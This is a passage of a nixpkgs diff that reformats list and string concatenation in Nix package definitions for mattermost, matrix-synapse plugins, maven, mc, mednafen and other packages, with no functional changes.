--- a/pkgs/by-name/ma/matrix-synapse-unwrapped/plugins/rendezvous.nix
+++ b/pkgs/by-name/ma/matrix-synapse-unwrapped/plugins/rendezvous.nix
@@ -28,14 +28,13 @@ buildPythonPackage rec {
     hash = "sha256-CDUyH08s96xUy0VhK+4ym0w9IgAq9P1UjUipVjlpl9c=";
   };
 
-  nativeBuildInputs =
-    [
-      setuptools-rust
-    ]
-    ++ (with rustPlatform; [
-      cargoSetupHook
-      maturinBuildHook
-    ]);
+  nativeBuildInputs = [
+    setuptools-rust
+  ]
+  ++ (with rustPlatform; [
+    cargoSetupHook
+    maturinBuildHook
+  ]);
 
   buildAndTestSubdir = "synapse";
 
diff --git a/pkgs/by-name/ma/matrix-synapse-unwrapped/plugins/s3-storage-provider.nix b/pkgs/by-name/ma/matrix-synapse-unwrapped/plugins/s3-storage-provider.nix
index 82a8d0046b3e..b05d58df1438 100644
--- a/pkgs/by-name/ma/matrix-synapse-unwrapped/plugins/s3-storage-provider.nix
+++ b/pkgs/by-name/ma/matrix-synapse-unwrapped/plugins/s3-storage-provider.nix
@@ -34,16 +34,15 @@ buildPythonPackage rec {
     matrix-synapse-unwrapped
   ];
 
-  propagatedBuildInputs =
-    [
-      boto3
-      humanize
-      tqdm
-      twisted
-      psycopg2
-    ]
-    # For the s3_media_upload script
-    ++ matrix-synapse-unwrapped.propagatedBuildInputs;
+  propagatedBuildInputs = [
+    boto3
+    humanize
+    tqdm
+    twisted
+    psycopg2
+  ]
+  # For the s3_media_upload script
+  ++ matrix-synapse-unwrapped.propagatedBuildInputs;
 
   # Tests need network access
   doCheck = false;
diff --git a/pkgs/by-name/ma/matrix-synapse/package.nix b/pkgs/by-name/ma/matrix-synapse/package.nix
index 5935b69234d3..26678a8da2d3 100644
--- a/pkgs/by-name/ma/matrix-synapse/package.nix
+++ b/pkgs/by-name/ma/matrix-synapse/package.nix
@@ -3,12 +3,11 @@
   stdenv,
   makeWrapper,
   matrix-synapse-unwrapped,
-  extras ?
-    [
-      "postgres"
-      "url-preview"
-    ]
-    ++ lib.optional (lib.meta.availableOn stdenv.hostPlatform matrix-synapse-unwrapped.python.pkgs.systemd) "systemd",
+  extras ? [
+    "postgres"
+    "url-preview"
+  ]
+  ++ lib.optional (lib.meta.availableOn stdenv.hostPlatform matrix-synapse-unwrapped.python.pkgs.systemd) "systemd",
   plugins ? [ ],
   ...
 }:
diff --git a/pkgs/by-name/ma/mattermost/package.nix b/pkgs/by-name/ma/mattermost/package.nix
index aeb04142f7c0..55114a5c9a2a 100644
--- a/pkgs/by-name/ma/mattermost/package.nix
+++ b/pkgs/by-name/ma/mattermost/package.nix
@@ -192,15 +192,14 @@ buildMattermost rec {
 
   passthru = {
     updateScript = nix-update-script {
-      extraArgs =
-        [
-          "--version-regex"
-          versionInfo.regex
-        ]
-        ++ lib.optionals (versionInfo.autoUpdate or null != null) [
-          "--override-filename"
-          versionInfo.autoUpdate
-        ];
+      extraArgs = [
+        "--version-regex"
+        versionInfo.regex
+      ]
+      ++ lib.optionals (versionInfo.autoUpdate or null != null) [
+        "--override-filename"
+        versionInfo.autoUpdate
+      ];
     };
     tests.mattermost = nixosTests.mattermost;
 
diff --git a/pkgs/by-name/ma/mattermost/tests.nix b/pkgs/by-name/ma/mattermost/tests.nix
index 39b60f60c8bc..ed6e9125c435 100644
--- a/pkgs/by-name/ma/mattermost/tests.nix
+++ b/pkgs/by-name/ma/mattermost/tests.nix
@@ -34,19 +34,17 @@ mattermost.overrideAttrs (
       gotestsum
     ];
 
-    postPatch =
-      prev.postPatch or ""
-      + ''
-        # Just echo install/get/mod commands in the Makefile, since the dependencies are locked.
-        substituteInPlace server/Makefile \
-          --replace-warn '$(GO) install' 'echo $(GO) install' \
-          --replace-warn '$(GOBIN)/go$$version download' 'echo $(GOBIN)/go$$version download' \
-          --replace-warn '$(GO) get' 'echo $(GO) get' \
-          --replace-warn '$(GO) get' 'echo $(GO) mod'
-        # mmctl tests shell out by writing a bash script to a tempfile
-        substituteInPlace server/cmd/mmctl/commands/config_e2e_test.go \
-          --replace-fail '#!/bin/bash' '#!${runtimeShell}'
-      '';
+    postPatch = prev.postPatch or "" + ''
+      # Just echo install/get/mod commands in the Makefile, since the dependencies are locked.
+      substituteInPlace server/Makefile \
+        --replace-warn '$(GO) install' 'echo $(GO) install' \
+        --replace-warn '$(GOBIN)/go$$version download' 'echo $(GOBIN)/go$$version download' \
+        --replace-warn '$(GO) get' 'echo $(GO) get' \
+        --replace-warn '$(GO) get' 'echo $(GO) mod'
+      # mmctl tests shell out by writing a bash script to a tempfile
+      substituteInPlace server/cmd/mmctl/commands/config_e2e_test.go \
+        --replace-fail '#!/bin/bash' '#!${runtimeShell}'
+    '';
 
     # Make sure we disable tests that are broken.
     # Use: `nix log <drv> | grep FAIL: | awk '{print $3}' | sort`
@@ -54,114 +52,113 @@ mattermost.overrideAttrs (
     # X  TestFoo
     # X  TestFoo/TestBar
     # -> TestFoo/TestBar/baz_test
-    disabledTests =
-      [
-        # All these plugin tests for mmctl reach out to the marketplace, which is impossible in the sandbox
-        "TestMmctlE2ESuite/TestPluginDeleteCmd/Delete_Plugin/SystemAdminClient"
-        "TestMmctlE2ESuite/TestPluginDeleteCmd/Delete_Plugin/LocalClient"
-        "TestMmctlE2ESuite/TestPluginDeleteCmd/Delete_a_Plugin_without_permissions"
-        "TestMmctlE2ESuite/TestPluginDeleteCmd/Delete_Unknown_Plugin/SystemAdminClient"
-        "TestMmctlE2ESuite/TestPluginDeleteCmd/Delete_Unknown_Plugin/LocalClient"
-        "TestMmctlE2ESuite/TestPluginInstallURLCmd/install_new_plugins/SystemAdminClient"
-        "TestMmctlE2ESuite/TestPluginInstallURLCmd/install_new_plugins/LocalClient"
-        "TestMmctlE2ESuite/TestPluginInstallURLCmd/install_an_already_installed_plugin_without_force/SystemAdminClient"
-        "TestMmctlE2ESuite/TestPluginInstallURLCmd/install_an_already_installed_plugin_without_force/LocalClient"
-        "TestMmctlE2ESuite/TestPluginInstallURLCmd/install_an_already_installed_plugin_with_force/SystemAdminClient"
-        "TestMmctlE2ESuite/TestPluginInstallURLCmd/install_an_already_installed_plugin_with_force/LocalClient"
-        "TestMmctlE2ESuite/TestPluginMarketplaceInstallCmd/install_a_plugin/SystemAdminClient"
-        "TestMmctlE2ESuite/TestPluginMarketplaceInstallCmd/install_a_plugin/LocalClient"
-        "TestMmctlE2ESuite/TestPluginMarketplaceListCmd/List_Marketplace_Plugins_for_Admin_User/SystemAdminClient"
-        "TestMmctlE2ESuite/TestPluginMarketplaceListCmd/List_Marketplace_Plugins_for_Admin_User/LocalClient"
+    disabledTests = [
+      # All these plugin tests for mmctl reach out to the marketplace, which is impossible in the sandbox
+      "TestMmctlE2ESuite/TestPluginDeleteCmd/Delete_Plugin/SystemAdminClient"
+      "TestMmctlE2ESuite/TestPluginDeleteCmd/Delete_Plugin/LocalClient"
+      "TestMmctlE2ESuite/TestPluginDeleteCmd/Delete_a_Plugin_without_permissions"
+      "TestMmctlE2ESuite/TestPluginDeleteCmd/Delete_Unknown_Plugin/SystemAdminClient"
+      "TestMmctlE2ESuite/TestPluginDeleteCmd/Delete_Unknown_Plugin/LocalClient"
+      "TestMmctlE2ESuite/TestPluginInstallURLCmd/install_new_plugins/SystemAdminClient"
+      "TestMmctlE2ESuite/TestPluginInstallURLCmd/install_new_plugins/LocalClient"
+      "TestMmctlE2ESuite/TestPluginInstallURLCmd/install_an_already_installed_plugin_without_force/SystemAdminClient"
+      "TestMmctlE2ESuite/TestPluginInstallURLCmd/install_an_already_installed_plugin_without_force/LocalClient"
+      "TestMmctlE2ESuite/TestPluginInstallURLCmd/install_an_already_installed_plugin_with_force/SystemAdminClient"
+      "TestMmctlE2ESuite/TestPluginInstallURLCmd/install_an_already_installed_plugin_with_force/LocalClient"
+      "TestMmctlE2ESuite/TestPluginMarketplaceInstallCmd/install_a_plugin/SystemAdminClient"
+      "TestMmctlE2ESuite/TestPluginMarketplaceInstallCmd/install_a_plugin/LocalClient"
+      "TestMmctlE2ESuite/TestPluginMarketplaceListCmd/List_Marketplace_Plugins_for_Admin_User/SystemAdminClient"
+      "TestMmctlE2ESuite/TestPluginMarketplaceListCmd/List_Marketplace_Plugins_for_Admin_User/LocalClient"
 
-        # Seems to just be broken.
-        "TestMmctlE2ESuite/TestPreferenceUpdateCmd"
+      # Seems to just be broken.
+      "TestMmctlE2ESuite/TestPreferenceUpdateCmd"
 
-        # Has a hardcoded "google.com" test which also verifies that the address isn't loopback,
-        # so we also can't just substituteInPlace to one that will resolve
-        "TestDialContextFilter"
+      # Has a hardcoded "google.com" test which also verifies that the address isn't loopback,
+      # so we also can't just substituteInPlace to one that will resolve
+      "TestDialContextFilter"
 
-        # No interfaces but loopback in the sandbox, so returns empty
-        "TestGetServerIPAddress"
+      # No interfaces but loopback in the sandbox, so returns empty
+      "TestGetServerIPAddress"
 
-        # S3 bucket tests (needs Minio)
-        "TestInsecureMakeBucket"
-        "TestMakeBucket"
-        "TestListDirectory"
-        "TestTimeout"
-        "TestStartServerNoS3Bucket"
-        "TestS3TestConnection"
-        "TestS3FileBackendTestSuite"
-        "TestS3FileBackendTestSuiteWithEncryption"
+      # S3 bucket tests (needs Minio)
+      "TestInsecureMakeBucket"
+      "TestMakeBucket"
+      "TestListDirectory"
+      "TestTimeout"
+      "TestStartServerNoS3Bucket"
+      "TestS3TestConnection"
+      "TestS3FileBackendTestSuite"
+      "TestS3FileBackendTestSuiteWithEncryption"
 
-        # Mail tests (needs a SMTP server)
-        "TestSendMailUsingConfig"
-        "TestSendMailUsingConfigAdvanced"
-        "TestSendMailWithEmbeddedFilesUsingConfig"
-        "TestSendCloudWelcomeEmail"
-        "TestMailConnectionAdvanced"
-        "TestMailConnectionFromConfig"
-        "TestEmailTest"
-        "TestBasicAPIPlugins/test_send_mail_plugin"
+      # Mail tests (needs a SMTP server)
+      "TestSendMailUsingConfig"
+      "TestSendMailUsingConfigAdvanced"
+      "TestSendMailWithEmbeddedFilesUsingConfig"
+      "TestSendCloudWelcomeEmail"
+      "TestMailConnectionAdvanced"
+      "TestMailConnectionFromConfig"
+      "TestEmailTest"
+      "TestBasicAPIPlugins/test_send_mail_plugin"
 
-        # Seems to be unreliable
-        "TestPluginAPIUpdateUserPreferences"
-        "TestPluginAPIGetUserPreferences"
+      # Seems to be unreliable
+      "TestPluginAPIUpdateUserPreferences"
+      "TestPluginAPIGetUserPreferences"
 
-        # These invite tests try to send a welcome email and we don't have a SMTP server up.
-        "TestInviteUsersToTeam"
-        "TestInviteGuestsToTeam"
-        "TestSendInviteEmails"
-        "TestDeliver"
+      # These invite tests try to send a welcome email and we don't have a SMTP server up.
+      "TestInviteUsersToTeam"
+      "TestInviteGuestsToTeam"
+      "TestSendInviteEmails"
+      "TestDeliver"
 
-        # https://github.com/mattermost/mattermost/issues/29184
-        "TestUpAndDownMigrations/Should_be_reversible_for_mysql"
-      ]
-      ++ optionals (is10 final.version) [
-        ## mattermostLatest test ignores
+      # https://github.com/mattermost/mattermost/issues/29184
+      "TestUpAndDownMigrations/Should_be_reversible_for_mysql"
+    ]
+    ++ optionals (is10 final.version) [
+      ## mattermostLatest test ignores
 
-        # These bot related tests appear to be broken.
-        "TestCreateBot"
-        "TestPatchBot"
-        "TestGetBot"
-        "TestEnableBot"
-        "TestDisableBot"
-        "TestAssignBot"
-        "TestConvertBotToUser"
+      # These bot related tests appear to be broken.
+      "TestCreateBot"
+      "TestPatchBot"
+      "TestGetBot"
+      "TestEnableBot"
+      "TestDisableBot"
+      "TestAssignBot"
+      "TestConvertBotToUser"
 
-        # Need Elasticsearch or Opensearch
-        "TestBlevePurgeIndexes"
-        "TestOpensearchAggregation"
-        "TestOpensearchInterfaceTestSuite"
-        "TestOpenSearchIndexerJobIsEnabled"
-        "TestOpenSearchIndexerPending"
-        "TestBulkProcessor"
-        "TestElasticsearchAggregation"
-        "TestElasticsearchInterfaceTestSuite"
-        "TestElasticSearchIndexerJobIsEnabled"
-        "TestElasticSearchIndexerPending"
+      # Need Elasticsearch or Opensearch
+      "TestBlevePurgeIndexes"
+      "TestOpensearchAggregation"
+      "TestOpensearchInterfaceTestSuite"
+      "TestOpenSearchIndexerJobIsEnabled"
+      "TestOpenSearchIndexerPending"
+      "TestBulkProcessor"
+      "TestElasticsearchAggregation"
+      "TestElasticsearchInterfaceTestSuite"
+      "TestElasticSearchIndexerJobIsEnabled"
+      "TestElasticSearchIndexerPending"
 
-        # Broken in the sandbox.
-        "TestVersion"
-        "TestRunServerNoSystemd"
+      # Broken in the sandbox.
+      "TestVersion"
+      "TestRunServerNoSystemd"
 
-        # Appear to be broken.
-        "TestSessionStore/MySQL"
-        "TestAccessControlPolicyStore/MySQL"
-        "TestAttributesStore/MySQL"
-        "TestBasicAPIPlugins"
+      # Appear to be broken.
+      "TestSessionStore/MySQL"
+      "TestAccessControlPolicyStore/MySQL"
+      "TestAttributesStore/MySQL"
+      "TestBasicAPIPlugins"
 
-        "TestRunExportJobE2EByType"
-        "TestUpdateTeam"
-        "TestSyncSyncableRoles"
-      ]
-      ++ optionals (!stdenv.hostPlatform.isx86_64) [
-        # aarch64: invalid operating system or processor architecture
-        "TestCanIUpgradeToE0"
+      "TestRunExportJobE2EByType"
+      "TestUpdateTeam"
+      "TestSyncSyncableRoles"
+    ]
+    ++ optionals (!stdenv.hostPlatform.isx86_64) [
+      # aarch64: invalid operating system or processor architecture
+      "TestCanIUpgradeToE0"
 
-        # aarch64: thumbnail previews are nondeterministic
-        "TestUploadFiles/multipart_Happy_image_thumbnail"
-        "TestUploadFiles/simple_Happy_image_thumbnail"
-      ];
+      # aarch64: thumbnail previews are nondeterministic
+      "TestUploadFiles/multipart_Happy_image_thumbnail"
+      "TestUploadFiles/simple_Happy_image_thumbnail"
+    ];
 
     preCheck = ''
       cleanup() {
diff --git a/pkgs/by-name/ma/maude/package.nix b/pkgs/by-name/ma/maude/package.nix
index 2bf8fa9fa036..deea3053d2cf 100644
--- a/pkgs/by-name/ma/maude/package.nix
+++ b/pkgs/by-name/ma/maude/package.nix
@@ -46,12 +46,13 @@ stdenv.mkDerivation {
     yices
   ];
 
-  hardeningDisable =
-    [ "stackprotector" ]
-    ++ lib.optionals stdenv.hostPlatform.isi686 [
-      "pic"
-      "fortify"
-    ];
+  hardeningDisable = [
+    "stackprotector"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isi686 [
+    "pic"
+    "fortify"
+  ];
 
   # Fix for glibc-2.34, see
   # https://gitweb.gentoo.org/repo/gentoo.git/commit/dev-lang/maude/maude-3.1-r1.ebuild?id=f021cc6cfa1e35eb9c59955830f1fd89bfcb26b4
diff --git a/pkgs/by-name/ma/mautrix-signal/package.nix b/pkgs/by-name/ma/mautrix-signal/package.nix
index 43f32bfbaf0d..a85cd20a2364 100644
--- a/pkgs/by-name/ma/mautrix-signal/package.nix
+++ b/pkgs/by-name/ma/mautrix-signal/package.nix
@@ -44,15 +44,14 @@ buildGoModule rec {
   vendorHash = "sha256-NmIWxc+6Leaqm1W+g2XdbMv4iU7Z7k8/g88U0iw/+98=";
 
   doCheck = true;
-  preCheck =
-    ''
-      # Needed by the tests to be able to find libstdc++
-      export LD_LIBRARY_PATH="${stdenv.cc.cc.lib}/lib:$LD_LIBRARY_PATH"
-    ''
-    + (lib.optionalString (!withGoolm) ''
-      # When using libolm, the tests need explicit linking to libstdc++
-      export CGO_LDFLAGS="${cppStdLib}"
-    '');
+  preCheck = ''
+    # Needed by the tests to be able to find libstdc++
+    export LD_LIBRARY_PATH="${stdenv.cc.cc.lib}/lib:$LD_LIBRARY_PATH"
+  ''
+  + (lib.optionalString (!withGoolm) ''
+    # When using libolm, the tests need explicit linking to libstdc++
+    export CGO_LDFLAGS="${cppStdLib}"
+  '');
 
   postCheck = ''
     unset LD_LIBRARY_PATH
diff --git a/pkgs/by-name/ma/maven/build-maven-package.nix b/pkgs/by-name/ma/maven/build-maven-package.nix
index 0df9aaf66046..4db93f4fbd95 100644
--- a/pkgs/by-name/ma/maven/build-maven-package.nix
+++ b/pkgs/by-name/ma/maven/build-maven-package.nix
@@ -35,37 +35,37 @@ let
 
       nativeBuildInputs = [
         maven
-      ] ++ args.nativeBuildInputs or [ ];
+      ]
+      ++ args.nativeBuildInputs or [ ];
 
       JAVA_HOME = mvnJdk;
 
-      buildPhase =
-        ''
-          runHook preBuild
-        ''
-        + lib.optionalString buildOffline ''
-          mvn de.qaware.maven:go-offline-maven-plugin:1.2.8:resolve-dependencies -Dmaven.repo.local=$out/.m2 ${mvnDepsParameters}
+      buildPhase = ''
+        runHook preBuild
+      ''
+      + lib.optionalString buildOffline ''
+        mvn de.qaware.maven:go-offline-maven-plugin:1.2.8:resolve-dependencies -Dmaven.repo.local=$out/.m2 ${mvnDepsParameters}
 
-          for artifactId in ${builtins.toString manualMvnArtifacts}
-          do
-            echo "downloading manual $artifactId"
-            mvn dependency:get -Dartifact="$artifactId" -Dmaven.repo.local=$out/.m2
-          done
+        for artifactId in ${builtins.toString manualMvnArtifacts}
+        do
+          echo "downloading manual $artifactId"
+          mvn dependency:get -Dartifact="$artifactId" -Dmaven.repo.local=$out/.m2
+        done
 
-          for artifactId in ${builtins.toString manualMvnSources}
-          do
-            group=$(echo $artifactId | cut -d':' -f1)
-            artifact=$(echo $artifactId | cut -d':' -f2)
-            echo "downloading manual sources $artifactId"
-            mvn dependency:sources -DincludeGroupIds="$group" -DincludeArtifactIds="$artifact" -Dmaven.repo.local=$out/.m2
-          done
-        ''
-        + lib.optionalString (!buildOffline) ''
-          mvn package -Dmaven.repo.local=$out/.m2 ${mvnSkipTests} ${mvnParameters}
-        ''
-        + ''
-          runHook postBuild
-        '';
+        for artifactId in ${builtins.toString manualMvnSources}
+        do
+          group=$(echo $artifactId | cut -d':' -f1)
+          artifact=$(echo $artifactId | cut -d':' -f2)
+          echo "downloading manual sources $artifactId"
+          mvn dependency:sources -DincludeGroupIds="$group" -DincludeArtifactIds="$artifact" -Dmaven.repo.local=$out/.m2
+        done
+      ''
+      + lib.optionalString (!buildOffline) ''
+        mvn package -Dmaven.repo.local=$out/.m2 ${mvnSkipTests} ${mvnParameters}
+      ''
+      + ''
+        runHook postBuild
+      '';
 
       # keep only *.{pom,jar,sha1,nbm} and delete all ephemeral files with lastModified timestamps inside
       installPhase = ''
diff --git a/pkgs/by-name/mb/mblaze/package.nix b/pkgs/by-name/mb/mblaze/package.nix
index 69f19859ca11..ce58fc30fb80 100644
--- a/pkgs/by-name/mb/mblaze/package.nix
+++ b/pkgs/by-name/mb/mblaze/package.nix
@@ -37,37 +37,36 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
-  postInstall =
-    ''
-      installShellCompletion contrib/_mblaze
-    ''
-    + lib.optionalString (ruby != null) ''
-      install -Dt $out/bin contrib/msuck contrib/mblow
+  postInstall = ''
+    installShellCompletion contrib/_mblaze
+  ''
+  + lib.optionalString (ruby != null) ''
+    install -Dt $out/bin contrib/msuck contrib/mblow
 
-      # The following wrappings are used to preserve the executable
-      # names (the value of $0 in a script). The script mcom is
-      # designed to be run directly or via symlinks such as mrep. Using
-      # symlinks changes the value of $0 in the script, and makes it
-      # behave differently. When using the wrapProgram tool, the resulting
-      # wrapper breaks this behaviour. The following wrappers preserve it.
+    # The following wrappings are used to preserve the executable
+    # names (the value of $0 in a script). The script mcom is
+    # designed to be run directly or via symlinks such as mrep. Using
+    # symlinks changes the value of $0 in the script, and makes it
+    # behave differently. When using the wrapProgram tool, the resulting
+    # wrapper breaks this behaviour. The following wrappers preserve it.
 
-      mkdir -p $out/wrapped
-      for x in mcom mbnc mfwd mrep; do
-        mv $out/bin/$x $out/wrapped
-        makeWrapper $out/wrapped/$x $out/bin/$x \
-          --argv0 $out/bin/$x \
-          --prefix PATH : $out/bin \
-          --prefix PATH : ${
-            lib.makeBinPath [
-              coreutils
-              file
-              gawk
-              gnugrep
-              gnused
-            ]
-          }
-      done
-    '';
+    mkdir -p $out/wrapped
+    for x in mcom mbnc mfwd mrep; do
+      mv $out/bin/$x $out/wrapped
+      makeWrapper $out/wrapped/$x $out/bin/$x \
+        --argv0 $out/bin/$x \
+        --prefix PATH : $out/bin \
+        --prefix PATH : ${
+          lib.makeBinPath [
+            coreutils
+            file
+            gawk
+            gnugrep
+            gnused
+          ]
+        }
+    done
+  '';
 
   meta = with lib; {
     homepage = "https://github.com/leahneukirchen/mblaze";
diff --git a/pkgs/by-name/mc/mc/package.nix b/pkgs/by-name/mc/mc/package.nix
index 76e563bbbb21..e5eb3720e42a 100644
--- a/pkgs/by-name/mc/mc/package.nix
+++ b/pkgs/by-name/mc/mc/package.nix
@@ -34,33 +34,31 @@ stdenv.mkDerivation rec {
     hash = "sha256-yuFJ1C+ETlGF2MgdfbOROo+iFMZfhSIAqdiWtGivFkw=";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      unzip
-    ]
-    # The preFixup hook rewrites the binary, which invaliates the code
-    # signature. Add the fixup hook to sign the output.
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      darwin.autoSignDarwinBinariesHook
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    unzip
+  ]
+  # The preFixup hook rewrites the binary, which invaliates the code
+  # signature. Add the fixup hook to sign the output.
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    darwin.autoSignDarwinBinariesHook
+  ];
 
-  buildInputs =
-    [
-      file
-      gettext
-      glib
-      libICE
-      libssh2
-      openssl
-      slang
-      zip
-    ]
-    ++ lib.optionals x11Support [ libX11 ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      e2fsprogs
-      gpm
-    ];
+  buildInputs = [
+    file
+    gettext
+    glib
+    libICE
+    libssh2
+    openssl
+    slang
+    zip
+  ]
+  ++ lib.optionals x11Support [ libX11 ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    e2fsprogs
+    gpm
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/mc/mcpelauncher-client/package.nix b/pkgs/by-name/mc/mcpelauncher-client/package.nix
index bf09a4ab8ee8..a040bae9f356 100644
--- a/pkgs/by-name/mc/mcpelauncher-client/package.nix
+++ b/pkgs/by-name/mc/mcpelauncher-client/package.nix
@@ -52,38 +52,36 @@ clangStdenv.mkDerivation (finalAttrs: {
   # FORTIFY_SOURCE breaks libc_shim and the project will fail to compile
   hardeningDisable = [ "fortify" ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals (withQtWebview || withQtErrorWindow) [
-      qt6.wrapQtAppsHook
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals (withQtWebview || withQtErrorWindow) [
+    qt6.wrapQtAppsHook
+  ];
 
-  buildInputs =
-    [
-      openssl
-      zlib
-      libpng
-      libglvnd
-      xorg.libX11
-      xorg.libXi
-      xorg.libXtst
-      libevdev
-      curl
-      pulseaudio
-      glfw
-      sdl3
-    ]
-    ++ lib.optionals (withQtWebview || withQtErrorWindow) [
-      qt6.qtbase
-      qt6.qttools
-      qt6.qtwayland
-    ]
-    ++ lib.optionals withQtWebview [
-      qt6.qtwebengine
-    ];
+  buildInputs = [
+    openssl
+    zlib
+    libpng
+    libglvnd
+    xorg.libX11
+    xorg.libXi
+    xorg.libXtst
+    libevdev
+    curl
+    pulseaudio
+    glfw
+    sdl3
+  ]
+  ++ lib.optionals (withQtWebview || withQtErrorWindow) [
+    qt6.qtbase
+    qt6.qttools
+    qt6.qtwayland
+  ]
+  ++ lib.optionals withQtWebview [
+    qt6.qtwebengine
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "FETCHCONTENT_FULLY_DISCONNECTED" true)
diff --git a/pkgs/by-name/md/mdadm4/package.nix b/pkgs/by-name/md/mdadm4/package.nix
index 082ddb9d57ba..c3a51fbcf61b 100644
--- a/pkgs/by-name/md/mdadm4/package.nix
+++ b/pkgs/by-name/md/mdadm4/package.nix
@@ -37,19 +37,18 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  makeFlags =
-    [
-      "NIXOS=1"
-      "INSTALL=install"
-      "BINDIR=$(out)/sbin"
-      "SYSTEMD_DIR=$(out)/lib/systemd/system"
-      "MANDIR=$(out)/share/man"
-      "RUN_DIR=/dev/.mdadm"
-      "STRIP="
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
-    ];
+  makeFlags = [
+    "NIXOS=1"
+    "INSTALL=install"
+    "BINDIR=$(out)/sbin"
+    "SYSTEMD_DIR=$(out)/lib/systemd/system"
+    "MANDIR=$(out)/share/man"
+    "RUN_DIR=/dev/.mdadm"
+    "STRIP="
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
+  ];
 
   installFlags = [ "install-systemd" ];
 
diff --git a/pkgs/by-name/me/mednafen/package.nix b/pkgs/by-name/me/mednafen/package.nix
index 685bffa05486..ab7665120b46 100644
--- a/pkgs/by-name/me/mednafen/package.nix
+++ b/pkgs/by-name/me/mednafen/package.nix
@@ -38,27 +38,26 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      SDL2
-      SDL2_net
-      flac
-      libglut
-      libcdio
-      libjack2
-      libsamplerate
-      libsndfile
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      libGL
-      libGLU
-      libX11
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    SDL2
+    SDL2_net
+    flac
+    libglut
+    libcdio
+    libjack2
+    libsamplerate
+    libsndfile
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    libGL
+    libGLU
+    libX11
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   hardeningDisable = [
     "format"
diff --git a/pkgs/by-name/me/megacmd/package.nix b/pkgs/by-name/me/megacmd/package.nix
index cf98f886d1a0..b8e02743871f 100644
--- a/pkgs/by-name/me/megacmd/package.nix
+++ b/pkgs/by-name/me/megacmd/package.nix
@@ -88,7 +88,8 @@ stdenv.mkDerivation {
     "--with-readline"
     "--with-sodium"
     "--with-termcap"
-  ] ++ (if withFreeImage then [ "--with-freeimage" ] else [ "--without-freeimage" ]);
+  ]
+  ++ (if withFreeImage then [ "--with-freeimage" ] else [ "--without-freeimage" ]);
 
   # On darwin, some macros defined in AssertMacros.h (from apple-sdk) are conflicting.
   postConfigure = ''
diff --git a/pkgs/by-name/me/megatools/package.nix b/pkgs/by-name/me/megatools/package.nix
index 0f303363ca2f..76c024f210c4 100644
--- a/pkgs/by-name/me/megatools/package.nix
+++ b/pkgs/by-name/me/megatools/package.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     curl
     glib
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ fuse ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ fuse ];
 
   enableParallelBuilding = true;
   strictDeps = true;
diff --git a/pkgs/by-name/me/meld/package.nix b/pkgs/by-name/me/meld/package.nix
index 35ef072d6b25..8a36faf0565b 100644
--- a/pkgs/by-name/me/meld/package.nix
+++ b/pkgs/by-name/me/meld/package.nix
@@ -42,7 +42,8 @@ python3.pkgs.buildPythonApplication rec {
     gobject-introspection
     wrapGAppsHook3
     gtk3 # for gtk-update-icon-cache
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
 
   buildInputs = [
     gtk3
diff --git a/pkgs/by-name/me/melonDS/package.nix b/pkgs/by-name/me/melonDS/package.nix
index f92da2ea7ffd..d9c7c144a759 100644
--- a/pkgs/by-name/me/melonDS/package.nix
+++ b/pkgs/by-name/me/melonDS/package.nix
@@ -44,21 +44,20 @@ stdenv.mkDerivation (finalAttrs: {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      SDL2
-      enet
-      libarchive
-      libslirp
-      libGL
-      qtbase
-      qtmultimedia
-      zstd
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wayland
-      qtwayland
-    ];
+  buildInputs = [
+    SDL2
+    enet
+    libarchive
+    libslirp
+    libGL
+    qtbase
+    qtmultimedia
+    zstd
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    wayland
+    qtwayland
+  ];
 
   cmakeFlags = [ (lib.cmakeBool "USE_QT6" true) ];
 
diff --git a/pkgs/by-name/me/memray/package.nix b/pkgs/by-name/me/memray/package.nix
index c97d0a233013..ac6b33a3ff07 100644
--- a/pkgs/by-name/me/memray/package.nix
+++ b/pkgs/by-name/me/memray/package.nix
@@ -31,7 +31,8 @@ python3Packages.buildPythonApplication rec {
     libunwind
     lz4
     elfutils # for `-ldebuginfod`
-  ] ++ (with python3Packages; [ cython ]);
+  ]
+  ++ (with python3Packages; [ cython ]);
 
   dependencies = with python3Packages; [
     pkgconfig
diff --git a/pkgs/by-name/me/mercurial/package.nix b/pkgs/by-name/me/mercurial/package.nix
index bc60bd3fcb54..1b2fae4ac84a 100644
--- a/pkgs/by-name/me/mercurial/package.nix
+++ b/pkgs/by-name/me/mercurial/package.nix
@@ -65,18 +65,17 @@ let
       lib.optional re2Support fb-re2
